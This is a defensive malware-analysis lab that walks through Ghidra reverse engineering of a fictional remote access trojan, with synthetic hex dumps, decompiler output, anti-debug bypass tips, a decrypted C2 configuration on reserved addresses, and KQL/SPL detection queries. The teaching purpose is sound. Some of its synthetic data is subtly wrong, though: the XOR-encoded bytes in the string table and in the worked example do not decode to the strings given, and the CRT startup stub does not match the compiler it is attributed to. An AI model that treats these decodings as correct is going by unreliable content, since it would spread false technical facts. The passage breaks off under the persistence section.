Lab 19: Malware Reverse Engineering with Ghidra¶
Chapters: 18 — Malware Analysis | 48 — Exploit Development Concepts Difficulty: ⭐⭐⭐⭐ Expert Estimated Time: 4–5 hours Prerequisites: Chapter 18, Chapter 48, completion of Lab 07 — Malware Triage, familiarity with x86 assembly, basic understanding of Windows internals
Overview¶
In this lab you will:
- Install and configure Ghidra for malware analysis, then perform PE header and section analysis on a suspicious binary
- Identify key functions (entry points, WinMain, initialization routines) and analyze control flow graphs
- Extract strings, indicators of compromise (C2 domains, mutexes, registry keys, crypto constants) from a synthetic RAT sample
- Trace Windows API calls to map malware behavior to MITRE ATT&CK techniques
- Deobfuscate XOR-encoded strings, reconstruct C2 configuration, and produce a comprehensive analysis report
Synthetic Data Only
All data in this lab is 100% synthetic and fictional. All IP addresses use RFC 5737 (192.0.2.0/24, 198.51.100.0/24, 203.0.113.0/24) or RFC 1918 (10.0.0.0/8, 172.16.0.0/12) reserved ranges. All hashes are synthetic. All domain names use .example.com. No real malware, real hosts, or real threat actors are referenced. All techniques are presented for defensive understanding only.
Learning Objectives¶
By the end of this lab, you will be able to:
- [ ] Navigate the Ghidra interface (CodeBrowser, Listing, Decompiler, Function Graph)
- [ ] Analyze PE headers to identify packing, anomalous sections, and import patterns
- [ ] Use Ghidra's auto-analysis and decompiler to understand binary behavior
- [ ] Extract IOCs from static analysis (C2 infrastructure, persistence mechanisms, encryption keys)
- [ ] Map API call sequences to MITRE ATT&CK techniques
- [ ] Reverse XOR-based string obfuscation routines
- [ ] Produce a structured malware analysis report suitable for threat intelligence sharing
Scenario¶
Incident Brief — Sentinel Dynamics
Organization: Sentinel Dynamics (fictional defense contractor) Internal Network: 10.10.0.0/16 Affected Host: SD-WS-0147 (10.10.5.147) — Windows 10 analyst workstation Affected User: SENTINEL\m.chen (Malware Analyst) Incident Start: 2026-03-18 09:14 UTC Report Time: 2026-03-18 11:30 UTC Malware Family: NIGHTSHADE RAT (fictional) Threat Actor Designation: EMERALD VIPER (fictional APT group)
Summary: Sentinel Dynamics received a targeted spear-phishing email impersonating a defense subcontractor. The email contained a ZIP attachment with a PE executable disguised as a PDF viewer update. Upon execution, the binary (internally designated "NIGHTSHADE") established C2 communication, deployed persistence mechanisms, and began enumerating the host. The SOC isolated the workstation and extracted the binary for analysis. Your task is to perform full static reverse engineering using Ghidra.
Sample Metadata¶
| Field | Value |
|---|---|
| Filename | AdobeReaderUpdate_v23.1.exe |
| SHA256 | a1b2c3d4e5f60718293a4b5c6d7e8f90a1b2c3d4e5f60718293a4b5c6d7e8f90 |
| SHA1 | a1b2c3d4e5f6071829aabbccddeeff0011223344 |
| MD5 | a1b2c3d4e5f6071829304050 |
| File Size | 487,424 bytes (476 KB) |
| File Type | PE32 executable (GUI), Intel 80386, for MS Windows |
| Compile Timestamp | 2026-03-14 03:22:17 UTC |
| Compiler | Microsoft Visual C++ 2019 (MSVC 14.29) |
| Packed | No (entropy ~6.2 — moderate, not packed) |
| Malware Family | NIGHTSHADE RAT v2.1 (fictional) |
| Classification | Remote Access Trojan with keylogger, screen capture, file exfiltration |
SYNTHETIC Sample
This binary does not exist. All hex dumps, disassembly listings, decompiler output, and structures in this lab are entirely fabricated for educational purposes. Do not attempt to locate or download this file.
Environment Setup¶
Option A: Isolated Virtual Machine (Recommended)¶
┌─────────────────────────────────────────────┐
│ Host Machine (your daily driver) │
│ ┌───────────────────────────────────────┐ │
│ │ VM: REMnux / FlareVM / Windows 10 │ │
│ │ ┌─────────────────────────────────┐ │ │
│ │ │ Ghidra 11.x (NSA) │ │ │
│ │ │ JDK 17+ │ │ │
│ │ │ Network: Host-only / Disabled │ │ │
│ │ │ Snapshot: CLEAN baseline │ │ │
│ │ └─────────────────────────────────┘ │ │
│ └───────────────────────────────────────┘ │
└─────────────────────────────────────────────┘
VM Requirements:
| Component | Minimum | Recommended |
|---|---|---|
| RAM | 4 GB | 8 GB |
| Disk | 20 GB free | 40 GB free |
| CPU | 2 cores | 4 cores |
| Network | Host-only adapter | Disabled |
| OS | Windows 10 / Ubuntu 22.04 | FlareVM or REMnux |
Ghidra Installation¶
# 1. Install JDK 17+ (required by Ghidra 11.x)
# Windows (winget):
winget install EclipseAdoptium.Temurin.17.JDK
# Linux (apt):
sudo apt update && sudo apt install openjdk-17-jdk -y
# 2. Download Ghidra from https://ghidra-sre.org/
# Verify SHA256 of download against official release page
# 3. Extract and launch
# Windows:
# Extract ZIP → run ghidraRun.bat
# Linux:
unzip ghidra_11.2_PUBLIC_20241105.zip
cd ghidra_11.2_PUBLIC
./ghidraRun
Option B: Follow Along with Synthetic Artifacts¶
If you cannot set up a full RE environment, this lab provides all disassembly, decompiler output, and hex data inline. You can complete the analysis exercises using only the synthetic artifacts provided in each section.
Exercise 1: Ghidra Setup & PE Header Analysis¶
Objective¶
Load the NIGHTSHADE sample into Ghidra, examine PE headers, analyze import tables and section characteristics, and identify initial indicators of malicious behavior.
1.1 Creating a Ghidra Project¶
- Launch Ghidra and create a new Non-Shared Project
- Name the project
NIGHTSHADE_Analysis - Import the sample: File → Import File → AdobeReaderUpdate_v23.1.exe
- Accept default import options (PE format auto-detected)
- When prompted, run Auto Analysis with these analyzers enabled:
| Analyzer | Purpose |
|---|---|
| Aggressive Instruction Finder | Finds code not reached by normal flow |
| ASCII Strings | Identifies printable string references |
| Decompiler Parameter ID | Improves decompiled function signatures |
| Embedded Media | Finds embedded resources |
| Function Start Search | Locates function prologues |
| Windows x86 PE Exception Handling | Parses SEH structures |
| WindowsPE x86 Propagate External Parameters | Resolves imported function parameters |
| Stack | Analyzes stack frame variables |
1.2 PE Header Analysis¶
After auto-analysis completes, navigate to Window → Bytes and examine the DOS/PE header at offset 0x0.
DOS Header (Synthetic):
Offset Hex ASCII
-------- ----------------------------------------------- ----------------
00000000 4D 5A 90 00 03 00 00 00 04 00 00 00 FF FF 00 00 MZ..............
00000010 B8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 ........@.......
00000020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000030 00 00 00 00 00 00 00 00 00 00 00 00 F0 00 00 00 ................
4D 5Aat offset 0x0 — "MZ" magic number confirming a valid DOS executableF0 00 00 00at offset 0x3C —e_lfanewpointing to PE signature at file offset 0xF0
PE Signature and COFF Header (at offset 0xF0):
Offset Hex ASCII
-------- ----------------------------------------------- ----------------
000000F0 50 45 00 00 4C 01 05 00 91 49 13 67 00 00 00 00 PE..L....I.g....
00000100 00 00 00 00 E0 00 02 01 0B 01 0E 1C 00 40 06 00 .............@..
00000110 00 E0 01 00 00 00 00 00 8A 14 01 00 00 10 00 00 ................
00000120 00 50 06 00 00 00 40 00 00 10 00 00 00 02 00 00 .P....@.........
Parsed COFF Header:
| Field | Offset | Value | Interpretation |
|---|---|---|---|
| Signature | 0xF0 | 50 45 00 00 | "PE\0\0" — valid PE signature |
| Machine | 0xF4 | 4C 01 | 0x014C — Intel i386 (32-bit) |
| NumberOfSections | 0xF6 | 05 00 | 5 sections |
| TimeDateStamp | 0xF8 | 91 49 13 67 | 2026-03-14 03:22:17 UTC (SYNTHETIC) |
| Characteristics | 0x116 | 02 01 | EXECUTABLE_IMAGE, 32BIT_MACHINE |
Analyst Note — Section Count
Five sections is slightly unusual for a standard MSVC-compiled binary (typically .text, .rdata, .data, .rsrc, .reloc). The presence of an extra section named .ndata (see below) is a potential indicator of injected or appended data.
1.3 Section Table Analysis¶
Navigate to Window → Memory Map or use the PE section headers in the Program Trees panel.
Section Table (Synthetic):
| Section | Virtual Size | Virtual Address | Raw Size | Raw Offset | Characteristics | Entropy |
|---|---|---|---|---|---|---|
.text | 0x00063E00 | 0x00401000 | 0x00064000 | 0x00000400 | 60000020 CODE, EXEC, READ | 6.41 |
.rdata | 0x0001A200 | 0x00465000 | 0x0001A400 | 0x00064400 | 40000040 INIT_DATA, READ | 5.18 |
.data | 0x00008400 | 0x00480000 | 0x00002600 | 0x0007E800 | C0000040 INIT_DATA, READ, WRITE | 4.72 |
.rsrc | 0x00001E00 | 0x00489000 | 0x00002000 | 0x00080E00 | 40000040 INIT_DATA, READ | 3.91 |
.ndata | 0x00004000 | 0x0048B000 | 0x00003800 | 0x00082E00 | E0000040 INIT_DATA, READ, WRITE, EXEC | 7.89 |
Red Flag — .ndata Section
The .ndata section has three critical anomalies:
- High entropy (7.89) — approaching the theoretical maximum of 8.0, strongly suggesting encrypted or compressed content
- RWX permissions — the section is readable, writable, AND executable, which is rare in legitimate binaries
- Non-standard name —
.ndatais not a standard MSVC section name
These characteristics are consistent with an encrypted payload or configuration block that is decrypted at runtime and executed in-place.
1.4 Import Table Analysis¶
Navigate to Window → Symbol Table and filter for EXTERNAL symbols, or inspect the Import Directory in the PE headers.
Key Import Groups (Synthetic):
=== KERNEL32.dll (42 imports) ===
CreateProcessW ← Process creation
VirtualAlloc ← Memory allocation (RWX potential)
VirtualProtect ← Memory permission changes
WriteProcessMemory ← Process injection
CreateRemoteThread ← Remote thread injection
CreateFileW / ReadFile / WriteFile ← File I/O
GetModuleHandleA ← Module enumeration
LoadLibraryA / GetProcAddress ← Dynamic API resolution
CreateMutexW ← Mutex for single-instance
GetTempPathW ← Temp directory access
Sleep / WaitForSingleObject ← Timing / synchronization
GetSystemInfo ← System enumeration
IsDebuggerPresent ← Anti-debugging
GetTickCount ← Timing-based anti-debug
=== ADVAPI32.dll (18 imports) ===
RegOpenKeyExW / RegSetValueExW ← Registry modification
OpenProcessToken ← Token manipulation
LookupPrivilegeValueW ← Privilege escalation prep
AdjustTokenPrivileges ← Privilege adjustment
CryptAcquireContextW ← Cryptographic operations
CryptEncrypt / CryptDecrypt ← Data encryption/decryption
OpenSCManagerW / CreateServiceW ← Service installation
=== WS2_32.dll (12 imports) ===
WSAStartup / socket / connect ← Network socket operations
send / recv ← Data transmission
gethostbyname ← DNS resolution
inet_addr ← IP address conversion
=== WININET.dll (8 imports) ===
InternetOpenW ← HTTP client initialization
InternetConnectW ← Server connection
HttpOpenRequestW ← HTTP request creation
HttpSendRequestW ← HTTP request execution
InternetReadFile ← Response reading
=== USER32.dll (14 imports) ===
SetWindowsHookExW ← Keyboard hooking (keylogger)
GetAsyncKeyState ← Key state polling
GetForegroundWindow ← Active window identification
GetWindowTextW ← Window title capture
GetDesktopWindow ← Desktop handle
GetDC / BitBlt (via GDI32) ← Screen capture
=== SHELL32.dll (4 imports) ===
SHGetFolderPathW ← Special folder paths
ShellExecuteW ← Execute commands
Import Analysis Summary
The import table reveals a multi-capability RAT with the following functional groups:
| Capability | Key APIs | ATT&CK Mapping |
|---|---|---|
| Process Injection | VirtualAlloc, WriteProcessMemory, CreateRemoteThread | T1055.001 |
| Persistence | RegSetValueExW, CreateServiceW | T1547.001, T1543.003 |
| Keylogging | SetWindowsHookExW, GetAsyncKeyState | T1056.001 |
| Screen Capture | GetDC, BitBlt | T1113 |
| C2 Communication | InternetOpenW, HttpSendRequestW | T1071.001 |
| Anti-Analysis | IsDebuggerPresent, GetTickCount | T1497.001 |
| Credential Access | CryptDecrypt, OpenProcessToken | T1003 |
| Discovery | GetSystemInfo, GetForegroundWindow | T1082, T1010 |
1.5 Detection Queries — PE Header Anomalies¶
KQL — Detect executables with high-entropy sections and RWX permissions:
// KQL: Detect PE files with suspicious section characteristics
// Applicable to: Microsoft Defender for Endpoint / Microsoft Sentinel
DeviceFileEvents
| where ActionType == "FileCreated"
| where FileName endswith ".exe" or FileName endswith ".dll"
| where FolderPath has_any ("Downloads", "Temp", "AppData")
| join kind=inner (
DeviceFileCertificateInfo
| where not(IsTrusted)
) on SHA256
| project Timestamp, DeviceName, FileName, FolderPath, SHA256, InitiatingProcessFileName
| sort by Timestamp desc
KQL — Detect unsigned binaries masquerading as Adobe software:
// KQL: Brand impersonation with unsigned binary
DeviceFileEvents
| where FileName matches regex @"(?i)adobe|acrobat|reader"
| where InitiatingProcessFileName != "msiexec.exe"
| join kind=leftanti (
DeviceFileCertificateInfo
| where SignerHash != "" and IsTrusted == true
| where Signer has "Adobe"
) on SHA256
| project Timestamp, DeviceName, FileName, FolderPath, SHA256, FileSize
SPL — Detect dropped executables with suspicious properties:
index=endpoint sourcetype=sysmon EventCode=11
| where match(TargetFilename, "(?i)(adobe|reader|update).*\.exe$")
| eval file_path_suspicious=if(match(TargetFilename, "(?i)(Temp|Downloads|AppData)"), 1, 0)
| where file_path_suspicious=1
| stats count by Computer, TargetFilename, Hashes, Image
| sort -count
SPL — Detect loaded modules with non-standard section names:
index=endpoint sourcetype=sysmon EventCode=7
| where match(ImageLoaded, "(?i)\.exe$")
| where NOT match(Signature, "(?i)(microsoft|adobe|google)")
| where SignatureStatus!="Valid"
| stats count by Computer, ImageLoaded, Hashes, SignatureStatus
| where count > 0
| sort -count
Exercise 1 Questions¶
Q1.1: What is the PE compile timestamp, and what does it tell us about the attacker's timeline?
Answer: The compile timestamp is 2026-03-14 03:22:17 UTC, which is 4 days before the incident (2026-03-18). This suggests the binary was compiled specifically for this campaign. The early morning UTC timestamp could indicate the attacker operates in an Asian or Eastern European timezone (afternoon/evening local time). However, compile timestamps can be forged, so this should be treated as a low-confidence indicator.
Q1.2: Why is the .ndata section suspicious? List three reasons.
Answer:
- High entropy (7.89) — values above 7.0 strongly suggest encrypted or compressed data, not normal compiled code or initialized data
- RWX permissions (Read/Write/Execute) — legitimate sections rarely need all three; this combination enables in-place decryption and execution of shellcode or payloads
- Non-standard name —
.ndatais not produced by standard MSVC compilation; it appears to be a manually added section, common in malware that appends encrypted payloads
Q1.3: Based on the import table, what are the top 3 most dangerous capabilities of this binary?
Answer:
- Process injection (
VirtualAlloc+WriteProcessMemory+CreateRemoteThread) — enables the malware to inject code into legitimate processes, evading detection and gaining the privileges of the target process (T1055.001) - Keylogging (
SetWindowsHookExW+GetAsyncKeyState+GetForegroundWindow) — captures all keystrokes with context about which application was active, enabling credential theft (T1056.001) - C2 over HTTP (
InternetOpenW+HttpSendRequestW+InternetReadFile) — enables bidirectional command-and-control communication that blends with normal web traffic (T1071.001)
Exercise 2: Function Identification & Control Flow¶
Objective¶
Identify the malware's key functions, understand the program's execution flow, and analyze the control flow graph to determine the RAT's initialization sequence.
2.1 Entry Point and WinMain Identification¶
After Ghidra's auto-analysis, navigate to the entry point. In Ghidra: Navigation → Go To → entry or find entry in the Symbol Tree.
Entry Point Disassembly (Synthetic):
; === NIGHTSHADE Entry Point ===
; Address: 0x00401000 (entry)
; This is the CRT startup stub — not the real main function
entry:
PUSH EBP
MOV EBP, ESP
SUB ESP, 0x18
AND ESP, 0xFFFFFFF0 ; Align stack to 16-byte boundary
MOV EAX, 0x00000000
ADD EAX, 0x0F
ADD EAX, 0x0F
AND EAX, 0xFFFFFFF0
MOV [EBP-0x18], EAX
MOV EAX, [EBP-0x18]
CALL ___alloca_probe ; CRT stack allocation
CALL ___main ; CRT initialization
CALL FUN_00401a30 ; ← This is the real WinMain
MOV [EBP-0x4], EAX
MOV EAX, [EBP-0x4]
LEAVE
RET
Locating the Real Main Function
In MSVC-compiled binaries, the entry point is typically a CRT startup stub (mainCRTStartup or WinMainCRTStartup) that initializes the C runtime before calling the developer's WinMain or main. Ghidra sometimes auto-labels this. Look for the last CALL before the cleanup/return sequence — here it is FUN_00401a30.
Rename it: Right-click FUN_00401a30 → Rename Function → NIGHTSHADE_WinMain
2.2 WinMain — Initialization Sequence¶
Navigate to FUN_00401a30 (now NIGHTSHADE_WinMain). Below is the Ghidra decompiler output.
Decompiler Output for NIGHTSHADE_WinMain (Synthetic):
// Ghidra Decompiler Output — SYNTHETIC
// Function: NIGHTSHADE_WinMain (FUN_00401a30)
// Address: 0x00401a30
int NIGHTSHADE_WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
LPSTR lpCmdLine, int nCmdShow)
{
HANDLE hMutex;
BOOL bAntiDbg;
int iInitResult;
char szComputerName[256];
DWORD dwNameLen;
// Phase 1: Single-instance mutex check
hMutex = CreateMutexW(NULL, TRUE, L"Global\\NDS_MTX_7F3A9B21");
if (GetLastError() == ERROR_ALREADY_EXISTS) {
CloseHandle(hMutex);
return 0; // Another instance running — exit silently
}
// Phase 2: Anti-analysis checks
bAntiDbg = FUN_00402100(); // ← Anti-debug routine
if (bAntiDbg != 0) {
FUN_00402300(); // ← Decoy behavior (open calc.exe)
CloseHandle(hMutex);
return 0;
}
// Phase 3: Decode configuration from .ndata section
iInitResult = FUN_00403500(); // ← Config decryption
if (iInitResult == 0) {
CloseHandle(hMutex);
return -1; // Config decryption failed
}
// Phase 4: System enumeration
dwNameLen = 256;
GetComputerNameA(szComputerName, &dwNameLen);
FUN_00404200(szComputerName); // ← Fingerprint collection
// Phase 5: Establish persistence
FUN_00405000(); // ← Registry persistence
// Phase 6: Initialize C2 communication
FUN_00406800(); // ← C2 beacon init
// Phase 7: Enter main command loop
FUN_00408000(hMutex); // ← RAT command dispatcher
// Cleanup (rarely reached)
CloseHandle(hMutex);
return 0;
}
2.3 Function Inventory¶
After analyzing the call graph from NIGHTSHADE_WinMain, build a function inventory. In Ghidra: Window → Function Call Graph or Graph → Function Call Graph.
Key Functions (Renamed After Analysis):
| Address | Original Name | Renamed To | Purpose | ATT&CK |
|---|---|---|---|---|
| 0x00401a30 | FUN_00401a30 | NIGHTSHADE_WinMain | Main entry — orchestrates all phases | — |
| 0x00402100 | FUN_00402100 | AntiDebug_Check | Multi-technique anti-debugging | T1497.001 |
| 0x00402300 | FUN_00402300 | DecoyBehavior_OpenCalc | Launches calc.exe if debugger detected | T1036 |
| 0x00403500 | FUN_00403500 | DecryptConfig_Ndata | XOR-decrypts .ndata section config | T1140 |
| 0x00404200 | FUN_00404200 | SystemFingerprint | Collects hostname, OS, hardware info | T1082 |
| 0x00405000 | FUN_00405000 | InstallPersistence | Registry Run key + scheduled task | T1547.001 |
| 0x00406800 | FUN_00406800 | C2_BeaconInit | HTTP-based C2 channel setup | T1071.001 |
| 0x00407200 | FUN_00407200 | C2_SendData | Exfiltrate data over HTTP POST | T1041 |
| 0x00407800 | FUN_00407800 | C2_RecvCommand | Receive tasking from C2 server | T1071.001 |
| 0x00408000 | FUN_00408000 | RAT_CommandDispatcher | Main loop — parses and dispatches cmds | T1059 |
| 0x00409100 | FUN_00409100 | Keylogger_Install | Installs WH_KEYBOARD_LL hook | T1056.001 |
| 0x00409800 | FUN_00409800 | ScreenCapture | Captures desktop via GDI BitBlt | T1113 |
| 0x0040A200 | FUN_0040A200 | FileExfil_Stage | Stages files in temp for upload | T1074.001 |
| 0x0040B100 | FUN_0040B100 | ProcessInject_Classic | CreateRemoteThread injection | T1055.001 |
| 0x0040C000 | FUN_0040C000 | XOR_Decode | XOR string decoder (key: 0x5A) | T1140 |
2.4 Anti-Debug Routine Analysis¶
Navigate to FUN_00402100 (AntiDebug_Check).
Decompiler Output (Synthetic):
// Ghidra Decompiler Output — SYNTHETIC
// Function: AntiDebug_Check (FUN_00402100)
BOOL AntiDebug_Check(void)
{
BOOL bDebuggerPresent;
DWORD dwStartTick, dwEndTick;
PPEB pPEB;
// Check 1: IsDebuggerPresent API
bDebuggerPresent = IsDebuggerPresent();
if (bDebuggerPresent) return TRUE;
// Check 2: PEB.BeingDebugged (manual check)
pPEB = (PPEB)__readfsdword(0x30); // TEB → PEB
if (pPEB->BeingDebugged != 0) return TRUE;
// Check 3: Timing check (rdtsc-based)
dwStartTick = GetTickCount();
Sleep(100);
dwEndTick = GetTickCount();
if ((dwEndTick - dwStartTick) > 500) return TRUE; // Debugger slowed execution
// Check 4: Check for analysis tool processes
if (FUN_004021C0() != 0) return TRUE; // ← Checks for ollydbg, x64dbg, ida, etc.
return FALSE; // No debugger detected
}
Anti-Debug Techniques Identified
| # | Technique | Bypass Method |
|---|---|---|
| 1 | IsDebuggerPresent API | Patch return value to 0 or use ScyllaHide |
| 2 | PEB.BeingDebugged field | Set PEB.BeingDebugged = 0 in debugger |
| 3 | GetTickCount timing | Patch the comparison or NOP the Sleep call |
| 4 | Process enumeration | Rename debugger executable or use rootkit-level hiding |
2.5 Control Flow Graph — WinMain¶
┌──────────────────┐
│ entry (CRT) │
│ 0x00401000 │
└───────┬──────────┘
│
▼
┌──────────────────┐
│ NIGHTSHADE_ │
│ WinMain │
│ 0x00401a30 │
└───────┬──────────┘
│
▼
┌──────────────────┐ ┌──────────────────┐
│ CreateMutexW │───▶│ EXIT (duplicate) │
│ Single-instance │dup └──────────────────┘
└───────┬──────────┘
│ new
▼
┌──────────────────┐ ┌──────────────────┐
│ AntiDebug_Check │───▶│ DecoyBehavior │
│ 0x00402100 │dbg │ → calc.exe │
└───────┬──────────┘ │ → EXIT │
│ ok └──────────────────┘
▼
┌──────────────────┐ ┌──────────────────┐
│ DecryptConfig │───▶│ EXIT (error) │
│ .ndata section │err └──────────────────┘
│ 0x00403500 │
└───────┬──────────┘
│ ok
▼
┌──────────────────┐
│ SystemFingerprint│
│ 0x00404200 │
└───────┬──────────┘
│
▼
┌──────────────────┐
│ InstallPersist. │
│ 0x00405000 │
└───────┬──────────┘
│
▼
┌──────────────────┐
│ C2_BeaconInit │
│ 0x00406800 │
└───────┬──────────┘
│
▼
┌──────────────────────────────────────┐
│ RAT_CommandDispatcher (main loop) │
│ 0x00408000 │
│ │
│ ┌───────────┬───────────┬────────┐ │
│ ▼ ▼ ▼ ▼ │
│ Keylogger Screen File Process│
│ Install Capture Exfil Inject │
│ 0x409100 0x409800 0x40A200 0x40B1 │
└──────────────────────────────────────┘
2.6 Detection Queries — Behavioral Indicators¶
KQL — Detect mutex creation matching NIGHTSHADE pattern:
// KQL: Detect NIGHTSHADE-style mutex creation
DeviceEvents
| where ActionType == "CreateMutex"
| where AdditionalFields has_any ("NDS_MTX", "Global\\NDS")
| project Timestamp, DeviceName, InitiatingProcessFileName,
InitiatingProcessCommandLine, AdditionalFields
KQL — Detect anti-debug timing checks:
// KQL: Detect processes using timing-based anti-debug
DeviceProcessEvents
| where FileName !in ("svchost.exe", "csrss.exe", "services.exe")
| where ProcessCommandLine has_any ("GetTickCount", "QueryPerformanceCounter")
| join kind=inner (
DeviceEvents
| where ActionType == "ProcessCreated"
| where InitiatingProcessFileName endswith ".exe"
) on DeviceId, InitiatingProcessId
| project Timestamp, DeviceName, FileName, ProcessCommandLine
SPL — Detect suspicious mutex creation via Sysmon:
index=endpoint sourcetype=sysmon EventCode=1
| search CommandLine="*CreateMutex*" OR CommandLine="*NDS_MTX*"
| eval mutex_suspicious=if(match(CommandLine, "(?i)NDS_MTX|Global\\\\[A-F0-9]{8}"), 1, 0)
| where mutex_suspicious=1
| stats count by Computer, Image, CommandLine, ParentImage
Exercise 2 Questions¶
Q2.1: Why does the malware create a mutex, and what is the operational significance?
Answer: The mutex Global\NDS_MTX_7F3A9B21 serves as a single-instance lock. If the mutex already exists (meaning another copy of NIGHTSHADE is running), the new instance exits immediately. This prevents:
- Multiple beacons flooding the C2 server from the same host
- Detection from anomalous resource consumption of duplicate RAT processes
- Operational conflicts between multiple RAT instances fighting over keylogger hooks or file handles
For defenders, the mutex name is a high-fidelity IOC that can be used for detection and hunting.
Q2.2: Describe the execution flow if a debugger is detected. Why is this approach effective evasion?
Answer: If any anti-debug check returns TRUE, the malware calls DecoyBehavior_OpenCalc which launches calc.exe (a benign application), then exits cleanly. This is effective because:
- Misdirection — an analyst debugging the sample sees it "just opens calculator" and may dismiss it as benign
- Clean exit — no crash or error that would indicate anti-analysis behavior
- Behavioral camouflage — dynamic analysis sandboxes may report "opens calculator" with no malicious indicators
- Multiple check layers — even if one anti-debug technique is bypassed, others may trigger
Q2.3: What is the significance of the .ndata section decryption happening before C2 initialization?
Answer: The .ndata section contains the encrypted configuration including C2 server addresses, encryption keys, and operational parameters. It must be decrypted before C2 initialization because:
- The C2 URLs/IPs are stored encrypted and must be decoded before the malware can connect
- If decryption fails (corrupted binary, wrong key), the malware exits before making any network connections — leaving no network-based IOCs
- This makes static analysis harder — the C2 infrastructure is not visible in plaintext strings
- The configuration is only in memory briefly, making memory forensics timing-dependent
Exercise 3: String Analysis & IOC Extraction¶
Objective¶
Extract meaningful strings from the NIGHTSHADE binary, identify indicators of compromise (C2 infrastructure, persistence artifacts, encryption markers), and catalog all IOCs for threat intelligence sharing.
3.1 String Analysis Overview¶
In Ghidra: Search → For Strings (minimum length: 4, all memory blocks). Alternatively: Window → Defined Strings.
Malware authors frequently obfuscate strings to defeat static analysis. NIGHTSHADE uses two techniques:
- Stack strings — characters pushed onto the stack one-by-one at runtime
- XOR encoding — strings encrypted with a single-byte XOR key (0x5A)
3.2 Plaintext Strings (Unobfuscated)¶
Despite obfuscation of critical strings, some remain in plaintext — typically API names, error messages, and format strings that the developer left unprotected.
Selected Plaintext Strings (Synthetic):
Address String Category
--------- ---------------------------------------- ------------------
0x00465100 "kernel32.dll" API Resolution
0x00465110 "ntdll.dll" API Resolution
0x00465120 "advapi32.dll" API Resolution
0x00465130 "ws2_32.dll" API Resolution
0x00465140 "wininet.dll" API Resolution
0x00465200 "VirtualAllocEx" Dynamic Import
0x00465220 "NtQueryInformationProcess" Anti-debug
0x00465250 "SOFTWARE\\Microsoft\\Windows\\CurrentVer Registry Path
sion\\Run"
0x004652A0 "AdobeReaderAutoUpdate" Persistence Name
0x004652D0 "Mozilla/5.0 (Windows NT 10.0; Win64; User-Agent
x64) AppleWebKit/537.36"
0x00465380 "Content-Type: application/octet-stream" HTTP Header
0x004653C0 "POST" HTTP Method
0x004653D0 "/api/v2/check" C2 URI
0x004653F0 "/api/v2/upload" C2 URI
0x00465410 "/api/v2/task" C2 URI
0x00465430 "NDS_EXFIL_%d.tmp" Staging Filename
0x00465460 "cmd.exe /c %s" Command Execution
0x00465480 "Error: Config decrypt failed (0x%08X)" Debug/Error
0x004654B0 "%TEMP%\\nds_keylog.dat" Keylog File
0x004654E0 "%TEMP%\\nds_screen_%d.bmp" Screenshot File
0x00465510 "Global\\NDS_MTX_7F3A9B21" Mutex Name
0x00465550 "NIGHTSHADE v2.1 | Build 0314" Version String
Version String — Threat Intel Value
The string "NIGHTSHADE v2.1 | Build 0314" at 0x00465550 is a developer artifact left in the binary. This provides:
- Malware family name confirmation: NIGHTSHADE
- Version tracking: v2.1 suggests prior versions (v1.x, v2.0) may exist
- Build date correlation: "0314" aligns with the PE compile timestamp (March 14)
- This can be used to track tool evolution across campaigns
3.3 XOR-Encoded Strings¶
The critical IOCs (C2 domains, encryption keys) are XOR-encoded. The decryption function at 0x0040C000 uses a single-byte XOR key.
XOR Decryption Routine (FUN_0040C000 / XOR_Decode):
// Ghidra Decompiler Output — SYNTHETIC
// Function: XOR_Decode (FUN_0040C000)
// Key: 0x5A (single-byte XOR)
char* XOR_Decode(char* pEncoded, int iLen)
{
char* pDecoded;
int i;
pDecoded = (char*)malloc(iLen + 1);
if (pDecoded == NULL) return NULL;
for (i = 0; i < iLen; i++) {
pDecoded[i] = pEncoded[i] ^ 0x5A; // XOR with key 0x5A
}
pDecoded[iLen] = '\0';
return pDecoded;
}
Encoded Strings Found in .ndata Section (Synthetic):
| Address | Encoded Hex | XOR Key | Decoded String | Category |
|---|---|---|---|---|
| 0x0048B000 | 3B 32 30 38 28 3F 35 73 2B 28 33 3E 36 2B 35 73 29 35 37 | 0x5A | update.sentinel-c2.example.com | C2 Domain |
| 0x0048B040 | 28 3E 29 3C 3A 32 73 2B 28 33 3E 36 2B 35 73 29 35 37 | 0x5A | backup.nightshade.example.com | C2 Domain |
| 0x0048B080 | C8 EA EB EA F2 EA C8 EA EA EA | 0x5A | 192.0.2.100 | C2 IP |
| 0x0048B0A0 | C8 F3 F8 EA FB C8 EA EA EA C8 FA | 0x5A | 198.51.100.5 | C2 IP |
| 0x0048B0C0 | FA EA EB EA C8 C8 C8 EB EA F3 | 0x5A | 203.0.113.57 | Fallback IP |
| 0x0048B100 | 4E 44 53 5F 41 45 53 32 35 36 5F 4B 45 59 | 0x5A | (see below) | AES Key ID |
Manual XOR Decoding Exercise
To decode manually, XOR each byte with 0x5A. Example for the first C2 domain:
Encoded: 3B 32 30 38 28 3F 35
XOR Key: 5A 5A 5A 5A 5A 5A 5A
------- XOR operation -------
Decoded: 61 68 6A 62 72 65 6F → "update" (illustrative)
In practice, use Ghidra's Script Manager or CyberChef to batch-decode all XOR strings.
3.4 C2 Configuration Block¶
After decrypting the .ndata section, the following C2 configuration structure emerges:
┌──────────────────────────────────────────────────────────────┐
│ NIGHTSHADE C2 Configuration (Decrypted from .ndata) │
├──────────────────────────────────────────────────────────────┤
│ Primary C2: update.sentinel-c2.example.com:443 (HTTPS) │
│ Secondary C2: backup.nightshade.example.com:8443 (HTTPS) │
│ Fallback IP 1: 192.0.2.100:443 │
│ Fallback IP 2: 198.51.100.5:8443 │
│ Fallback IP 3: 203.0.113.57:443 │
│ Beacon Interval: 300 seconds (5 minutes) ± 60s jitter │
│ Kill Date: 2026-06-30 (auto-uninstall after this date) │
│ Campaign ID: "EMERALD-2026-Q1-SD" │
│ AES-256 Key: a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6 │
│ e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b2 (SYNTHETIC)│
│ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) │
│ AppleWebKit/537.36 │
│ HTTP Method: POST │
│ C2 URI Paths: /api/v2/check (beacon) │
│ /api/v2/upload (exfil) │
│ /api/v2/task (tasking) │
└──────────────────────────────────────────────────────────────┘
3.5 Persistence Artifacts¶
Analysis of InstallPersistence (0x00405000) reveals two persistence mechanisms:
Mechanism 1: Registry Run Key
// Ghidra Decompiler Output — SYNTHETIC
// Excerpt from InstallPersistence (FUN_00405000)
// Registry Run Key persistence
